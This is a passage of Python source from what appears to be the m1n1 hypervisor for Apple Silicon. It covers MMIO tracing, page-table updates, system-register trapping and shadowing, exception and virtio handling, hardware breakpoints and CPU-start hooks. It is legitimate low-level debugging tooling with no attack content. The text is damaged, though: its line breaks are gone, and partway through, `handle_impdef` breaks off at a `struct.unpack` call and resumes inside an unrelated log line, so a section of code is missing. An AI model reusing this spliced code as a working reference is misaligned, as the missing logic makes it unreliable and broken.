self.dirty_maps.compact() self.mmio_maps.compact() top = 0 for zone in self.dirty_maps: if zone.stop <= top: continue top = max(top, zone.start) for mzone, maps in self.mmio_maps.overlaps(zone): if mzone.stop <= top: continue if top < mzone.start: self.unmap(top, mzone.start - top) self.log(f"PT[{top:09x}:{mzone.start:09x}] -> *UNMAPPED*") top = mzone.stop if not maps: continue maps = sorted(maps.values(), reverse=True) mode, ident, read, write, kwargs = maps[0] need_read = any(m[2] for m in maps) need_write = any(m[3] for m in maps) if mode == TraceMode.RESERVED: self.log(f"PT[{mzone.start:09x}:{mzone.stop:09x}] -> RESERVED {ident}") continue elif mode in (TraceMode.HOOK, TraceMode.SYNC): self.map_hook_idx(mzone.start, mzone.stop - mzone.start, 0, need_read, need_write) if mode == TraceMode.HOOK: for m2, i2, r2, w2, k2 in maps[1:]: if m2 == TraceMode.HOOK: self.log(f"!! Conflict: HOOK {i2}") elif mode == TraceMode.WSYNC: flags = self.SPTE_TRACE_READ if need_read else 0 self.map_hook_idx(mzone.start, mzone.stop - mzone.start, 0, False, need_write, flags=flags) elif mode in (TraceMode.UNBUF, TraceMode.ASYNC, TraceMode.BYPASS): pa = mzone.start if mode == TraceMode.UNBUF: pa |= self.SPTE_TRACE_UNBUF if need_read: pa |= self.SPTE_TRACE_READ if need_write: pa |= self.SPTE_TRACE_WRITE self.map_sw(mzone.start, pa, mzone.stop - mzone.start) elif mode == TraceMode.OFF: self.map_hw(mzone.start, mzone.start, mzone.stop - mzone.start) self.log(f"PT[{mzone.start:09x}:{mzone.stop:09x}] -> HW:{ident}") continue rest = [m[1] for m in maps[1:] if m[0] != TraceMode.OFF] if rest: rest = " (+ " + ", ".join(rest) + ")" else: rest = "" self.log(f"PT[{mzone.start:09x}:{mzone.stop:09x}] -> {mode.name}.{'R' if read else ''}{'W' if read else ''} {ident}{rest}") if top < zone.stop: self.unmap(top, zone.stop - top) self.log(f"PT[{top:09x}:{zone.stop:09x}] -> *UNMAPPED*") self.u.inst(0xd50c83df) # tlbi vmalls12e1is self.dirty_maps.clear() def shellwrap(self, func, description, update=None, needs_ret=False): while True: try: return func() except Exception: print(f"Exception in {description}") traceback.print_exc() if not self.ctx: print("Running in asynchronous context. Target operations are not available.") def do_exit(i): raise shell.ExitConsole(i) self.shell_locals["skip"] = lambda: do_exit(1) self.shell_locals["cont"] = lambda: do_exit(0) ret = self.run_shell("Entering debug shell", "Returning to tracer") self.shell_locals["skip"] = self.skip self.shell_locals["cont"] = self.cont if self.ctx: self.cpu() # Return to the original CPU to avoid confusing things if ret == 1: if needs_ret: print("Cannot skip, return value required.") else: return if update: update() def run_shell(self, entry_msg="Entering shell", exit_msg="Continuing"): def handle_sigusr1(signal, stack): raise shell.ExitConsole(EXC_RET.HANDLED) def handle_sigusr2(signal, stack): raise shell.ExitConsole(EXC_RET.EXIT_GUEST) default_sigusr1 = signal.signal(signal.SIGUSR1, handle_sigusr1) try: default_sigusr2 = signal.signal(signal.SIGUSR2, handle_sigusr2) try: self._in_shell = True try: if not self._gdbserver is None: self._gdbserver.notify_in_shell() return shell.run_shell(self.shell_locals, entry_msg, exit_msg) finally: self._in_shell = False finally: signal.signal(signal.SIGUSR2, default_sigusr2) finally: signal.signal(signal.SIGUSR1, default_sigusr1) @property def in_shell(self): return self._in_shell def gdbserver(self, address="/tmp/.m1n1-unix", log=None): '''activate gdbserver''' if not self._gdbserver is None: raise Exception("gdbserver is already running") self._gdbserver = GDBServer(self, address, log) self._gdbserver.activate() def shutdown_gdbserver(self): '''shutdown gdbserver''' self._gdbserver.shutdown() self._gdbserver = None def handle_mmiotrace(self, data): evt = EvtMMIOTrace.parse(data) def do_update(): nonlocal mode, ident, read, write, kwargs read = lambda *args, **kwargs: None write = lambda *args, **kwargs: None m = self.mmio_maps[evt.addr].get(ident, None) if not m: return mode, ident, read_, write_, kwargs = m read = read_ or read write = write_ or write maps = sorted(self.mmio_maps[evt.addr].values(), reverse=True) for mode, ident, read, write, kwargs in maps: if mode > TraceMode.WSYNC or (evt.flags.WRITE and mode > TraceMode.UNBUF): print(f"ERROR: mmiotrace event but expected {mode.name} mapping") continue if mode == TraceMode.OFF: continue if evt.flags.WRITE: if write: self.shellwrap(lambda: write(evt, **kwargs), f"Tracer {ident}:write ({mode.name})", update=do_update) else: if read: self.shellwrap(lambda: read(evt, **kwargs), f"Tracer {ident}:read ({mode.name})", update=do_update) def handle_vm_hook_mapped(self, ctx, data): maps = sorted(self.mmio_maps[data.addr].values(), reverse=True) if not maps: raise Exception(f"VM hook without a mapping at {data.addr:#x}") def do_update(): nonlocal mode, ident, read, write, kwargs read = lambda *args, **kwargs: None write = lambda *args, **kwargs: None m = self.mmio_maps[data.addr].get(ident, None) if not m: return mode, ident, read_, write_, kwargs = m read = read_ or read write = write_ or write mode, ident, read, write, kwargs = maps[0] first = 0 val = data.data if mode not in (TraceMode.HOOK, TraceMode.SYNC, TraceMode.WSYNC): raise Exception(f"VM hook with unexpected mapping at {data.addr:#x}: {maps[0][0].name}") if not data.flags.WRITE: if mode == TraceMode.HOOK and not read: mode = TraceMode.SYNC first += 1 if mode == TraceMode.HOOK: val = self.shellwrap(lambda: read(data.addr, 8 << data.flags.WIDTH, **kwargs), f"Tracer {ident}:read (HOOK)", update=do_update, needs_ret=True) if not isinstance(val, list) and not isinstance(val, tuple): val = [val] first += 1 elif mode == TraceMode.SYNC: try: val = self.u.read(data.addr, 8 << data.flags.WIDTH) except: self.log(f"MMIO read failed: {data.addr:#x} (w={data.flags.WIDTH})") raise if not isinstance(val, list) and not isinstance(val, tuple): val = [val] elif mode == TraceMode.WSYNC: raise Exception(f"VM hook with unexpected mapping at {data.addr:#x}: {maps[0][0].name}") for i in range(1 << max(0, data.flags.WIDTH - 3)): self.p.write64(ctx.data + 16 + 8 * i, val[i]) elif mode == TraceMode.HOOK: first += 1 flags = data.flags.copy() flags.CPU = self.ctx.cpu_id width = data.flags.WIDTH if width > 3: flags.WIDTH = 3 flags.MULTI = 1 for i in range(1 << max(0, width - 3)): evt = Container( flags = flags, reserved = 0, pc = ctx.elr, addr = data.addr + 8 * i, data = val[i] ) for mode, ident, read, write, kwargs in maps[first:]: if flags.WRITE: if write: self.shellwrap(lambda: write(evt, **kwargs), f"Tracer {ident}:write ({mode.name})", update=do_update) else: if read: self.shellwrap(lambda: read(evt, **kwargs), f"Tracer {ident}:read ({mode.name})", update=do_update) if data.flags.WRITE: mode, ident, read, write, kwargs = maps[0] if data.flags.WIDTH <= 3: wval = val[0] else: wval = val if mode == TraceMode.HOOK and not write: mode = TraceMode.SYNC if mode == TraceMode.HOOK: self.shellwrap(lambda: write(data.addr, wval, 8 << data.flags.WIDTH, **kwargs), f"Tracer {ident}:write (HOOK)", update=do_update) elif mode in (TraceMode.SYNC, TraceMode.WSYNC): try: self.u.write(data.addr, wval, 8 << data.flags.WIDTH) except: if data.flags.WIDTH > 3: wval = wval[0] self.log(f"MMIO write failed: {data.addr:#x} = {wval} (w={data.flags.WIDTH})") raise return True def handle_vm_hook(self, ctx): data = self.iface.readstruct(ctx.data, VMProxyHookData) if data.id == 0: return self.handle_vm_hook_mapped(ctx, data) rfunc, wfunc, base, kwargs = self.vm_hooks[data.id] d = data.data if data.flags.WIDTH < 3: d = d[0] if data.flags.WRITE: wfunc(base, data.addr - base, d, 8 << data.flags.WIDTH, **kwargs) else: val = rfunc(base, data.addr - base, 8 << data.flags.WIDTH, **kwargs) if not isinstance(val, list) and not isinstance(val, tuple): val = [val] for i in range(1 << max(0, data.flags.WIDTH - 3)): self.p.write64(ctx.data + 16 + 8 * i, val[i]) return True def handle_irqtrace(self, data): evt = EvtIRQTrace.parse(data) if evt.type == self.AIC_EVT_TYPE_HW and evt.flags & self.IRQTRACE_IRQ: dev = self.interrupt_map[int(evt.num)] print(f"IRQ: {dev}: {evt.num}") def addr(self, addr): unslid_addr = addr + self.sym_offset if self.xnu_mode and (addr < self.tba.virt_base or unslid_addr < self.macho.vmin): return f"0x{addr:x}" saddr, name = self.sym(addr) if name is None: return f"0x{addr:x} (0x{unslid_addr:x})" return f"0x{addr:x} ({name}+0x{unslid_addr - saddr:x})" def resolve_symbol(self, name): return self.symbol_dict[name] - self.sym_offset def sym(self, addr): unslid_addr = addr + self.sym_offset if self.xnu_mode and (addr < self.tba.virt_base or unslid_addr < self.macho.vmin): return None, None idx = bisect.bisect_left(self.symbols, (unslid_addr + 1, "")) - 1 if idx < 0 or idx >= len(self.symbols): return None, None return self.symbols[idx] def get_sym(self, addr): a, name = self.sym(addr) if addr == a: return name else: return None def handle_msr(self, ctx, iss=None): if iss is None: iss = ctx.esr.ISS iss = ESR_ISS_MSR(iss) enc = iss.Op0, iss.Op1, iss.CRn, iss.CRm, iss.Op2 name = sysreg_name(enc) skip = set() shadow = { #SPRR_CONFIG_EL1, #SPRR_PERM_EL0, #SPRR_PERM_EL1, VMSA_LOCK_EL1, #SPRR_UNK1_EL1, #SPRR_UNK2_EL1, MDSCR_EL1, } ro = { ACC_CFG_EL1, ACC_OVRD_EL1, } xlate = { DC_CIVAC, } for i in range(len(self._bps)): shadow.add(DBGBCRn_EL1(i)) shadow.add(DBGBVRn_EL1(i)) for i in range(len(self._wps)): shadow.add(DBGWCRn_EL1(i)) shadow.add(DBGWVRn_EL1(i)) value = 0 if enc == CYC_OVRD_EL1 and iss.DIR == MSR_DIR.WRITE: if iss.Rt != 31: value = ctx.regs[iss.Rt] self.log(f"Skip: msr {name}, x{iss.Rt} = {value:x}") if value & 1: self.log("Guest is shutting down CPU") self.p.hv_exit_cpu() del self.started_cpus[self.ctx.cpu_id] elif enc in shadow: if iss.DIR == MSR_DIR.READ: value = self.sysreg[self.ctx.cpu_id].setdefault(enc, 0) self.log(f"Shadow: mrs x{iss.Rt}, {name} = {value:x}") if iss.Rt != 31: ctx.regs[iss.Rt] = value else: if iss.Rt != 31: value = ctx.regs[iss.Rt] self.log(f"Shadow: msr {name}, x{iss.Rt} = {value:x}") self.sysreg[self.ctx.cpu_id][enc] = value elif enc in skip or (enc in ro and iss.DIR == MSR_DIR.WRITE): if iss.DIR == MSR_DIR.READ: self.log(f"Skip: mrs x{iss.Rt}, {name} = 0") if iss.Rt != 31: ctx.regs[iss.Rt] = 0 else: if iss.Rt != 31: value = ctx.regs[iss.Rt] self.log(f"Skip: msr {name}, x{iss.Rt} = {value:x}") else: if iss.DIR == MSR_DIR.READ: enc2 = self.MSR_REDIRECTS.get(enc, enc) value = self.u.mrs(enc2) self.log(f"Pass: mrs x{iss.Rt}, {name} = {value:x} ({sysreg_name(enc2)})") if iss.Rt != 31: ctx.regs[iss.Rt] = value else: if iss.Rt != 31: value = ctx.regs[iss.Rt] enc2 = self.MSR_REDIRECTS.get(enc, enc) sys.stdout.flush() if enc in xlate: value = self.p.hv_translate(value, True, False) self.u.msr(enc2, value, call=self.p.gl2_call) self.log(f"Pass: msr {name}, x{iss.Rt} = {value:x} (OK) ({sysreg_name(enc2)})") ctx.elr += 4 if self.hook_exceptions: self.patch_exception_handling() return True def handle_impdef(self, ctx): if ctx.esr.ISS == 0x20: return self.handle_msr(ctx, ctx.afsr1) code = struct.unpack(" {after:#x} | r0={r0b:#x} -> {r0a:#x}") return True if insn & 0x3f000000 == 0x08000000: page = far_phys & ~0x3fff before = self.p.read32(far_phys) self.map_hw(page, page, 0x4000) r0b = self.ctx.regs[0] self.log(f"-ELR={self.ctx.elr:#x} LR={self.ctx.regs[30]:#x}") self.step() self.log(f"+ELR={self.ctx.elr:#x}") r0a = self.ctx.regs[0] self.dirty_maps.set(irange(page, 0x4000)) self.pt_update() after = self.p.read32(far_phys) self.log(f"Unhandled exclusive: @{far_phys:#x} {before:#x} -> {after:#x} | r0={r0b:#x} -> {r0a:#x}") return True def handle_sync(self, ctx): if ctx.esr.EC == ESR_EC.MSR: return self.handle_msr(ctx) if ctx.esr.EC == ESR_EC.IMPDEF: return self.handle_impdef(ctx) if ctx.esr.EC == ESR_EC.HVC: return self.handle_hvc(ctx) if ctx.esr.EC == ESR_EC.SSTEP_LOWER: return self.handle_step(ctx) if ctx.esr.EC == ESR_EC.BKPT_LOWER: return self.handle_break(ctx) if ctx.esr.EC == ESR_EC.WATCH_LOWER: return self.handle_watch(ctx) if ctx.esr.EC == ESR_EC.BRK: return self.handle_brk(ctx) if ctx.esr.EC == ESR_EC.DABORT_LOWER: return self.handle_dabort(ctx) def _load_context(self): self._info_data = self.iface.readmem(self.exc_info, ExcInfo.sizeof()) self.ctx = ExcInfo.parse(self._info_data) return self.ctx def _commit_context(self): new_info = ExcInfo.build(self.ctx) if new_info != self._info_data: self.iface.writemem(self.exc_info, new_info) self._info_data = new_info def handle_exception(self, reason, code, info): self.exc_info = info self.exc_reason = reason if reason in (START.EXCEPTION_LOWER, START.EXCEPTION): code = EXC(code) elif reason == START.HV: code = HV_EVENT(code) self.exc_code = code self.is_fault = reason == START.EXCEPTION_LOWER and code in (EXC.SYNC, EXC.SERROR) # Nested context switch is handled by the caller if self.switching_context: self.switching_context = False return self._in_handler = True ctx = self._load_context() self.exc_orig_cpu = self.ctx.cpu_id handled = False user_interrupt = False try: if reason == START.EXCEPTION_LOWER: if code == EXC.SYNC: handled = self.handle_sync(ctx) elif code == EXC.FIQ: self.u.msr(CNTV_CTL_EL0, 0) self.u.print_context(ctx, False, sym=self.get_sym) handled = True elif reason == START.HV: code = HV_EVENT(code) if code == HV_EVENT.HOOK_VM: handled = self.handle_vm_hook(ctx) elif code == HV_EVENT.USER_INTERRUPT: handled = True user_interrupt = True except Exception as e: self.log(f"Python exception while handling guest exception:") traceback.print_exc() if handled: ret = EXC_RET.HANDLED if self._sigint_pending: self.update_pac_mask() self.log("User interrupt") else: self.log(f"Guest exception: {reason.name}/{code.name}") self.update_pac_mask() self.u.print_context(ctx, self.is_fault, sym=self.get_sym) if self._sigint_pending or not handled or user_interrupt: self._sigint_pending = False signal.signal(signal.SIGINT, self.default_sigint) ret = self.run_shell("Entering hypervisor shell", "Returning from exception") signal.signal(signal.SIGINT, self._handle_sigint) if ret is None: ret = EXC_RET.HANDLED self.pt_update() self._commit_context() self.ctx = None self.exc_orig_cpu = None self.p.exit(ret) self._in_handler = False if self._sigint_pending: self._handle_sigint() def handle_bark(self, reason, code, info): self._in_handler = True self._sigint_pending = False signal.signal(signal.SIGINT, self.default_sigint) ret = self.run_shell("Entering panic shell", "Exiting") signal.signal(signal.SIGINT, self._handle_sigint) self.p.exit(0) def attach_virtio(self, dev, base=None, irq=None, verbose=False): if base is None: base = alloc_mmio_base(self.adt, 0x1000) if irq is None: irq = alloc_aic_irq(self.adt) data = dev.config_data data_base = self.u.heap.malloc(len(data)) self.iface.writemem(data_base, data) config = VirtioConfig.build({ "irq": irq, "devid": dev.devid, "feats": dev.feats, "num_qus": dev.num_qus, "data": data_base, "data_len": len(data), "verbose": verbose, }) config_base = self.u.heap.malloc(len(config)) self.iface.writemem(config_base, config) name = None for i in range(16): n = "/arm-io/virtio%d" % i if n not in self.adt: name = n break if name is None: raise ValueError("Too many virtios in ADT") print(f"Adding {n} @ 0x{base:x}, irq {irq}") node = self.adt.create_node(name) node.reg = [Container(addr=node.to_bus_addr(base), size=0x1000)] node.interrupt_parent = getattr(self.adt["/arm-io/aic"], "AAPL,phandle") node.interrupts = (irq,) node.compatible = ["virtio,mmio"] self.p.hv_map_virtio(base, config_base) self.add_tracer(irange(base, 0x1000), "VIRTIO", TraceMode.RESERVED) dev.base = base dev.hv = self self.virtio_devs[base] = dev def handle_virtio(self, reason, code, info): ctx = self.iface.readstruct(info, ExcInfo) self.virtio_ctx = info = self.iface.readstruct(ctx.data, VirtioExcInfo) try: handled = self.virtio_devs[info.devbase].handle_exc(info) except: self.log(f"Python exception from within virtio handler") traceback.print_exc() handled = False if not handled: signal.signal(signal.SIGINT, self.default_sigint) self.run_shell("Entering hypervisor shell", "Returning") signal.signal(signal.SIGINT, self._handle_sigint) self.p.exit(EXC_RET.HANDLED) def skip(self): self.ctx.elr += 4 self.cont() def cont(self): os.kill(os.getpid(), signal.SIGUSR1) def _lower(self): if not self.is_fault: print("Cannot lower non-fault exception") return False self.u.msr(ELR_EL12, self.ctx.elr) self.u.msr(SPSR_EL12, self.ctx.spsr.value) self.u.msr(ESR_EL12, self.ctx.esr.value) self.u.msr(FAR_EL12, self.ctx.far) exc_off = 0x80 * self.exc_code if self.ctx.spsr.M == SPSR_M.EL0t: exc_off += 0x400 elif self.ctx.spsr.M == SPSR_M.EL1t: pass elif self.ctx.spsr.M == SPSR_M.EL1h: exc_off += 0x200 else: print(f"Unknown exception level {self.ctx.spsr.M}") return False self.ctx.spsr.M = SPSR_M.EL1h self.ctx.spsr.D = 1 self.ctx.spsr.A = 1 self.ctx.spsr.I = 1 self.ctx.spsr.F = 1 self.ctx.elr = self.u.mrs(VBAR_EL12) + exc_off return True def lower(self, step=False): self.cpu() # Return to exception CPU if not self._lower(): return elif step: self.step() else: self.cont() def step(self): self.u.msr(MDSCR_EL1, MDSCR(SS=1, MDE=1).value) self.ctx.spsr.SS = 1 self.p.hv_pin_cpu(self.ctx.cpu_id) self._switch_context() self.p.hv_pin_cpu(0xffffffffffffffff) def _switch_context(self, exit=EXC_RET.HANDLED): # Flush current CPU context out to HV self._commit_context() self.exc_info = None self.ctx = None self.switching_context = True # Exit out of the proxy self.p.exit(exit) # Wait for next proxy entry self.iface.wait_and_handle_boot() if self.switching_context: raise Exception(f"Failed to switch context") # Fetch new context self._load_context() def cpu(self, cpu=None): if cpu is None: cpu = self.exc_orig_cpu if cpu == self.ctx.cpu_id: return if not self.p.hv_switch_cpu(cpu): raise ValueError(f"Invalid or inactive CPU #{cpu}") self._switch_context() if self.ctx.cpu_id != cpu: raise Exception(f"Switching to CPU #{cpu} but ended on #{self.ctx.cpu_id}") def add_hw_bp(self, vaddr, hook=None): if None not in self._bps: raise ValueError("Cannot add more HW breakpoints") i = self._bps.index(None) cpu_id = self.ctx.cpu_id try: for cpu in self.cpus(): self.u.msr(DBGBCRn_EL1(i), DBGBCR(E=1, PMC=0b11, BAS=0xf).value) self.u.msr(DBGBVRn_EL1(i), vaddr) finally: self.cpu(cpu_id) self._bps[i] = vaddr if hook is not None: self._bp_hooks[vaddr] = hook def remove_hw_bp(self, vaddr): idx = self._bps.index(vaddr) self._bps[idx] = None cpu_id = self.ctx.cpu_id try: for cpu in self.cpus(): self.u.msr(DBGBCRn_EL1(idx), 0) self.u.msr(DBGBVRn_EL1(idx), 0) finally: self.cpu(cpu_id) if vaddr in self._bp_hooks: del self._bp_hooks[vaddr] def add_sym_bp(self, name, hook=None): return self.add_hw_bp(self.resolve_symbol(name), hook=hook) def remove_sym_bp(self, name): return self.remove_hw_bp(self.resolve_symbol(name)) def clear_hw_bps(self): for vaddr in self._bps: self.remove_hw_bp(vaddr) def add_hw_wp(self, vaddr, bas, lsc): for i, i_vaddr in enumerate(self._wps): if i_vaddr is None: self._wps[i] = vaddr self._wpcs[i] = DBGWCR(E=1, PAC=0b11, BAS=bas, LSC=lsc).value cpu_id = self.ctx.cpu_id try: for cpu in self.cpus(): self.u.msr(DBGWCRn_EL1(i), self._wpcs[i]) self.u.msr(DBGWVRn_EL1(i), vaddr) finally: self.cpu(cpu_id) return raise ValueError("Cannot add more HW watchpoints") def get_wp_bas(self, vaddr): for i, i_vaddr in enumerate(self._wps): if i_vaddr == vaddr: return self._wpcs[i].BAS def remove_hw_wp(self, vaddr): idx = self._wps.index(vaddr) self._wps[idx] = None self._wpcs[idx] = 0 cpu_id = self.ctx.cpu_id try: for cpu in self.cpus(): self.u.msr(DBGWCRn_EL1(idx), 0) self.u.msr(DBGWVRn_EL1(idx), 0) finally: self.cpu(cpu_id) def exit(self): os.kill(os.getpid(), signal.SIGUSR2) def reboot(self): print("Hard rebooting the system") self.p.reboot() sys.exit(0) def hvc(self, arg): assert 0 <= arg <= 0xffff return 0xd4000002 | (arg << 5) def decode_dbg_panic(self): xnutools.decode_debugger_state(self.u, self.ctx) def decode_panic_call(self): xnutools.decode_panic_call(self.u, self.ctx) def context(self): f = f" (orig: #{self.exc_orig_cpu})" if self.ctx.cpu_id != self.exc_orig_cpu else "" print(f" == On CPU #{self.ctx.cpu_id}{f} ==") print(f" Reason: {self.exc_reason.name}/{self.exc_code.name}") self.u.print_context(self.ctx, self.is_fault, sym=self.get_sym) def bt(self, frame=None, lr=None): if frame is None: frame = self.ctx.regs[29] if lr is None: lr = self.unpac(self.ctx.elr) + 4 print("Stack trace:") frames = set() while frame: if frame in frames: print("Stack loop detected!") break frames.add(frame) print(f" - {self.addr(lr - 4)}") lrp = self.p.hv_translate(frame + 8) fpp = self.p.hv_translate(frame) if not fpp: break lr = self.unpac(self.p.read64(lrp)) frame = self.p.read64(fpp) def cpus(self): for i in sorted(self.started_cpus): self.cpu(i) yield i def patch_exception_handling(self): if self.ctx.cpu_id != 0: return if self.want_vbar is not None: vbar = self.want_vbar else: vbar = self.u.mrs(VBAR_EL12) if vbar == self.vbar_el1: return if vbar == 0: return if self.u.mrs(SCTLR_EL12) & 1: vbar_phys = self.p.hv_translate(vbar, False, False) if vbar_phys == 0: self.log(f"VBAR vaddr 0x{vbar:x} translation failed!") if self.vbar_el1 is not None: self.want_vbar = vbar self.u.msr(VBAR_EL12, self.vbar_el1) return else: if vbar & (1 << 63): self.log(f"VBAR vaddr 0x{vbar:x} without translation enabled") if self.vbar_el1 is not None: self.want_vbar = vbar self.u.msr(VBAR_EL12, self.vbar_el1) return vbar_phys = vbar if self.want_vbar is not None: self.want_vbar = None self.u.msr(VBAR_EL12, vbar) self.log(f"New VBAR paddr: 0x{vbar_phys:x}") #for i in range(16): for i in [0, 3, 4, 7, 8, 11, 12, 15]: idx = 0 addr = vbar_phys + 0x80 * i orig = self.p.read32(addr) if (orig & 0xfc000000) != 0x14000000: self.log(f"Unknown vector #{i}:\n") self.u.disassemble_at(addr, 16) else: idx = len(self.vectors) delta = orig & 0x3ffffff if delta == 0: target = None self.log(f"Vector #{i}: Loop\n") else: target = (delta << 2) + vbar + 0x80 * i self.log(f"Vector #{i}: 0x{target:x}\n") self.vectors.append((i, target)) self.u.disassemble_at(addr, 16) self.p.write32(addr, self.hvc(idx)) self.p.dc_cvau(vbar_phys, 0x800) self.p.ic_ivau(vbar_phys, 0x800) self.vbar_el1 = vbar def set_logfile(self, fd): self.print_tracer.log_file = fd def init(self): self.adt = load_adt(self.u.get_adt()) self.iodev = self.p.iodev_whoami() self.tba = self.u.ba.copy() self.device_addr_tbl = self.adt.build_addr_lookup() self.print_tracer = trace.PrintTracer(self, self.device_addr_tbl) # disable unused USB iodev early so interrupts can be reenabled in hv_init() for iodev in IODEV: if iodev >= IODEV.USB0 and iodev != self.iodev: print(f"Disable iodev {iodev!s}") self.p.iodev_set_usage(iodev, 0) print("Initializing hypervisor over iodev %s" % self.iodev) self.p.hv_init() self.iface.set_handler(START.EXCEPTION_LOWER, EXC.SYNC, self.handle_exception) self.iface.set_handler(START.EXCEPTION_LOWER, EXC.IRQ, self.handle_exception) self.iface.set_handler(START.EXCEPTION_LOWER, EXC.FIQ, self.handle_exception) self.iface.set_handler(START.EXCEPTION_LOWER, EXC.SERROR, self.handle_exception) self.iface.set_handler(START.EXCEPTION, EXC.FIQ, self.handle_exception) self.iface.set_handler(START.HV, HV_EVENT.USER_INTERRUPT, self.handle_exception) self.iface.set_handler(START.HV, HV_EVENT.HOOK_VM, self.handle_exception) self.iface.set_handler(START.HV, HV_EVENT.VTIMER, self.handle_exception) self.iface.set_handler(START.HV, HV_EVENT.WDT_BARK, self.handle_bark) self.iface.set_handler(START.HV, HV_EVENT.CPU_SWITCH, self.handle_exception) self.iface.set_handler(START.HV, HV_EVENT.VIRTIO, self.handle_virtio) self.iface.set_handler(START.HV, HV_EVENT.PANIC, self.handle_bark) self.iface.set_event_handler(EVENT.MMIOTRACE, self.handle_mmiotrace) self.iface.set_event_handler(EVENT.IRQTRACE, self.handle_irqtrace) # Map MMIO ranges as HW by default for r in self.adt["/arm-io"].ranges: print(f"Mapping MMIO range: {r.parent_addr:#x} .. {r.parent_addr + r.size:#x}") self.add_tracer(irange(r.parent_addr, r.size), "HW", TraceMode.OFF) hcr = HCR(self.u.mrs(HCR_EL2)) if self.novm: hcr.VM = 0 hcr.AMO = 0 else: hcr.TACR = 1 hcr.TIDCP = 0 hcr.TVM = 0 hcr.FMO = 1 hcr.IMO = 0 hcr.TTLBOS = 1 self.u.msr(HCR_EL2, hcr.value) # Trap dangerous things hacr = HACR(0) if not self.novm: #hacr.TRAP_CPU_EXT = 1 #hacr.TRAP_SPRR = 1 #hacr.TRAP_GXF = 1 hacr.TRAP_CTRR = 1 hacr.TRAP_EHID = 1 hacr.TRAP_HID = 1 hacr.TRAP_ACC = 1 hacr.TRAP_IPI = 1 hacr.TRAP_SERROR_INFO = 1 # M1RACLES mitigation hacr.TRAP_PM = 1 self.u.msr(HACR_EL2, hacr.value) # enable and route debug exceptions to EL2 mdcr = MDCR(0) mdcr.TDE = 1 mdcr.TDA = 1 mdcr.TDOSA = 1 mdcr.TDRA = 1 self.u.msr(MDCR_EL2, mdcr.value) self.u.msr(MDSCR_EL1, MDSCR(MDE=1).value) # Enable AMX amx_ctl = AMX_CONFIG(self.u.mrs(AMX_CONFIG_EL1)) amx_ctl.EN_EL1 = 1 self.u.msr(AMX_CONFIG_EL1, amx_ctl.value) # Set guest AP keys self.u.msr(VMKEYLO_EL2, 0x4E7672476F6E6147) self.u.msr(VMKEYHI_EL2, 0x697665596F755570) self.u.msr(APSTS_EL12, 1) self.map_vuart() actlr = ACTLR(self.u.mrs(ACTLR_EL12)) actlr.EnMDSB = 1 self.u.msr(ACTLR_EL12, actlr.value) self.setup_adt() def map_vuart(self): node = base = self.adt["/arm-io/uart0"] base = node.get_reg(0)[0] zone = irange(base, 0x4000) irq = node.interrupts[0] self.p.hv_map_vuart(base, irq, self.iodev) self.add_tracer(zone, "VUART", TraceMode.RESERVED) def map_essential(self): # Things we always map/take over, for the hypervisor to work _pmgr = {} def wh(base, off, data, width): self.log(f"PMGR W {base:x}+{off:x}:{width} = 0x{data:x}: Dangerous write") self.p.mask32(base + off, 0x3ff, (data | 0xf) & ~(0x80000400)) _pmgr[base + off] = (data & 0xfffffc0f) | ((data & 0xf) << 4) def rh(base, off, width): data = self.p.read32(base + off) ret = _pmgr.setdefault(base + off, data) self.log(f"PMGR R {base:x}+{off:x}:{width} = 0x{data:x} -> 0x{ret:x}") return ret atc = f"ATC{self.iodev - IODEV.USB0}_USB" atc_aon = f"ATC{self.iodev - IODEV.USB0}_USB_AON" hook_devs = ["UART0", atc, atc_aon] pmgr = self.adt["/arm-io/pmgr"] dev_by_name = {dev.name: dev for dev in pmgr.devices} dev_by_id = {dev.id: dev for dev in pmgr.devices} pmgr_hooks = [] def hook_pmgr_dev(dev): ps = pmgr.ps_regs[dev.psreg] if dev.psidx or dev.psreg: addr = pmgr.get_reg(ps.reg)[0] + ps.offset + dev.psidx * 8 pmgr_hooks.append(addr) for idx in dev.parents: if idx in dev_by_id: hook_pmgr_dev(dev_by_id[idx]) for name in hook_devs: dev = dev_by_name[name] hook_pmgr_dev(dev) pmgr0_start = pmgr.get_reg(0)[0] for addr in pmgr_hooks: self.map_hook(addr, 4, write=wh, read=rh) #TODO : turn into a real tracer self.add_tracer(irange(addr, 4), "PMGR HACK", TraceMode.RESERVED) pg_overrides = { 0x23d29c05c: 0xc000000, 0x23d29c044: 0xc000000, } for addr in pg_overrides: self.map_hook(addr, 4, read=lambda base, off, width: pg_overrides[base + off]) self.add_tracer(irange(addr, 4), "PMGR HACK", TraceMode.RESERVED) cpu_hack = [ # 0x210e20020, # 0x211e20020, # 0x212e20020, ] def wh(base, off, data, width): if isinstance(data, list): data = data[0] self.log(f"CPU W {base:x}+{off:x}:{width} = 0x{data:x}: Dangerous write") for addr in cpu_hack: self.map_hook(addr, 8, write=wh) self.add_tracer(irange(addr, 8), "CPU HACK", TraceMode.RESERVED) def cpu_state_rh(base, off, width): data = ret = self.p.read64(base + off) die = base // 0x20_0000_0000 cluster = (base >> 24) & 0xf cpu = (base >> 20) & 0xf for i, j in self.started_cpus.items(): if j == (die, cluster, cpu): break else: ret &= ~0xff self.log(f"CPU STATE R {base:x}+{off:x}:{width} = 0x{data:x} -> 0x{ret:x}") return ret def cpustart_wh(base, off, data, width): self.log(f"CPUSTART W {base:x}+{off:x}:{width} = 0x{data:x}") if off >= 8: assert width == 32 die = base // 0x20_0000_0000 cluster = (off - 8) // 4 for i in range(32): if data & (1 << i): self.start_secondary(die, cluster, i) cpu_state = 0x210050100 | (die << 27) | (cluster << 24) | (i << 20) self.map_hook(cpu_state, 8, read=cpu_state_rh) self.add_tracer(irange(addr, 8), "CPU STATE HACK", TraceMode.RESERVED) die_count = self.adt["/arm-io"].die_count if hasattr(self.adt["/arm-io"], "die-count") else 1 for die in range(0, die_count): chip_id = self.u.adt["/chosen"].chip_id if chip_id in (0x8103, 0x6000, 0x6001, 0x6002): cpu_start = 0x54000 + die * 0x20_0000_0000 elif chip_id in (0x8112,): cpu_start = 0x34000 + die * 0x20_0000_0000 elif chip_id in (0x6020, 0x6021, 0x6022): cpu_start = 0x28000 + die * 0x20_0000_0000 else: self.log("CPUSTART unknown for this SoC!") break zone = irange(pmgr0_start + cpu_start, 0x20) self.map_hook(pmgr0_start + cpu_start, 0x20, write=cpustart_wh) self.add_tracer(zone, "CPU_START", TraceMode.RESERVED) def start_secondary(self, die, cluster, cpu): self.log(f"Starting guest secondary {die}:{cluster}:{cpu}") for node in list(self.adt["cpus"]): if ((die << 11) | (cluster << 8) | cpu) == node.reg: break else: self.log("CPU not found!") return entry = 